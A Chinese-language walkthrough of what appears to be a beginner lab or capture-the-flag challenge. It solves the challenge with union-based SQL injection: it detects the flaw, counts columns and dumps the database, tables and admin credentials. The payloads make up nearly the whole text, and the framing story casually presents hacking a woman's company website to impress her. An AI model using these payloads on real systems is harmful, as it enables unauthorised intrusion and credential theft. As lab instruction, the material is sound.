第一章:为了女神小芳
Tips:
通过sql注入拿到管理员密码!
尤里正在追女神小芳,在得知小芳开了一家公司后,尤里通过whois查询发现了小芳公司网站
学过一点黑客技术的他,想在女神面前炫炫技。于是他打开了传送门
根据提示我们需要浅浅的sql注入一下,首先判断一下是否存在SQL注入漏洞
?id=1 and 1=1
页面正常
?id=1 and 1=2
页面不正常,说明存在SQL注入漏洞
第一步、判断字段数
id=1 and 1=1 order by 1
页面正常
?id=1 and 1=1 order by 2
页面同样正常
?id=1 and 1=1 order by 3
页面不正常,判断出字段数为2
第二步、判断回显位
?id=1 and 1=2 union select 1,2
页面出现了2,说明我们的回显位为2
第三步、利用sql语句查询内容
1.爆库
?id=1 and 1=2 union select 1,database()
2.爆表
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()
3.爆字段
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1
我们可以查出“admin“”表里 有 “id” “username” “password” 三个字段
4.爆数据
题目说让我们拿到管理员账户的密码,我们看一下username和password字段的内容
?id=1 and 1=2 union select 1,username from admin
?id=1 and 1=2 union select 1,password from admin
我们得到了管理员密码:hellohack